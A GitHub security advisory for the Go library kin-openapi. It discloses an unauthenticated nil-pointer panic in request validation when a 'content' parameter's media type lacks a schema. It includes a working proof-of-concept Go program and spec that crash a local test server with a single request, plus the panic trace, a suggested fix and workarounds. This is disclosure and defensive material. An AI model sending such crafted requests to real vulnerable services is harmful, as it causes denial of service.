--- id: GHSA-jpcw-4wr7-c3vq title: >- kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema summary: >- kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema severity: medium cvss: 5.3 cwe: - CWE-476 vendor: getkin product: github.com/getkin/kin-openapi ecosystem: go affected: - github.com/getkin/kin-openapi <= 0.143.0 patched: - github.com/getkin/kin-openapi 0.144.0 published: '2026-07-24' updated: '2026-07-24' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-jpcw-4wr7-c3vq' references: - url: >- https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq - url: >- https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64 - url: 'https://github.com/getkin/kin-openapi/releases/tag/v0.144.0' - url: 'https://github.com/advisories/GHSA-jpcw-4wr7-c3vq' tags: - ghsa - go ingestedAt: '2026-07-24T23:41:39.475Z' --- ## Overview | Field | Value | |---|---| | Ecosystem | Go | | Package | `github.com/getkin/kin-openapi` | | Affected versions | `<= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) | | Patched versions | 0.144.0 | --- ### Summary `openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own `doc.Validate()` accepts it — and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash. ### Details The decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check. `openapi3filter/req_resp_decoder.go`, around line 197: ```go mt := content.Get("application/json") if mt == nil { // media-type OBJECT is guarded ... err = fmt.Errorf("parameter %q has no content schema", param.Name) return } outSchema = mt.Schema.Value // ... but mt.Schema is NOT — panics when nil ``` The function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`. **Why a schema-less content parameter is legal** (so the sink is reachable — `doc.Validate()` returns no error), in both 3.0.x and 3.1.x: - `openapi3/parameter.go` — `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it. - `openapi3/media_type.go` — `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error. **Call path to the panic:** ``` ValidateRequest openapi3filter/validate_request.go:83 └─ ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil) └─ decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value ⇒ found) └─ defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 ← nil deref / panic ``` **Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding. ### PoC Reproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`. **1. Minimal OpenAPI 3.0.3 document** (legal — `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**: ```yaml openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /c: get: parameters: - name: cfg in: query content: application/json: {} # media type object with NO schema responses: "200": {description: ok} ``` **2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`: ```go package main import ( "context" "fmt" "net/http" "net/http/httptest" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /c: get: parameters: - name: cfg in: query content: application/json: {} # media type object with NO schema responses: "200": {description: ok} ` func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { panic(err) } // Reachability: the malformed-but-legal document must validate. if err := doc.Validate(context.Background()); err != nil { panic("doc.Validate rejected the spec, not reachable: " + err.Error()) } router, err := gorillamux.NewRouter(doc) if err != nil { panic(err) } // Handler mirrors openapi3filter.ValidationHandler: find route, validate. h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } // Panics here on the crafted request (req_resp_decoder.go:197). if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) }) srv := httptest.NewServer(h) defer srv.Close() // The single, unauthenticated attack request. resp, err := http.Get(srv.URL + "/c?cfg=1") if err != nil { // Expected: the server goroutine panicked, so the client sees EOF. fmt.Printf("client received an aborted response (expected): %v\n", err) return } defer resp.Body.Close() fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode) } ``` **3. Observed result** — the request goroutine panics inside validation, and the client's `http.Get` returns an EOF: ``` http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...) openapi3filter/req_resp_decoder.go:197 github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...) openapi3filter/req_resp_decoder.go:166 github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...) openapi3filter/validate_request.go:177 github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...) openapi3filter/validate_request.go:83 ``` Swapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause. ### Impact This is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`. The precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it: | Wiring | Recovered by `net/http`? | Result | |---|---|---| | Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. | | `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. | | Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** | This is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process. --- ## Remediation (suggested) Add a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic: ```go mt := content.Get("application/json") if mt == nil { err = fmt.Errorf("parameter %q has no content schema", param.Name) return } if mt.Schema == nil { err = fmt.Errorf("parameter %q content media type has no schema", param.Name) return } outSchema = mt.Schema.Value ``` The `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent. **Workarounds for consumers, pending a patch:** - Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time. - Supply a custom `ParamDecoder` that guards `mt.Schema == nil`. - Run request validation inside a handler with an explicit `recover()` — especially if validation runs off the request goroutine or on a non-`net/http` host. ## Notes for the maintainer This root cause (`mt.Schema == nil`) is independent of the `Items == nil` panics addressed in `30e2923` and of `GHSA-mmfr-pmjx-hw9w`; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x. ## Affected packages - `github.com/getkin/kin-openapi <= 0.143.0` ## Remediation Upgrade to a patched release: - `github.com/getkin/kin-openapi 0.144.0`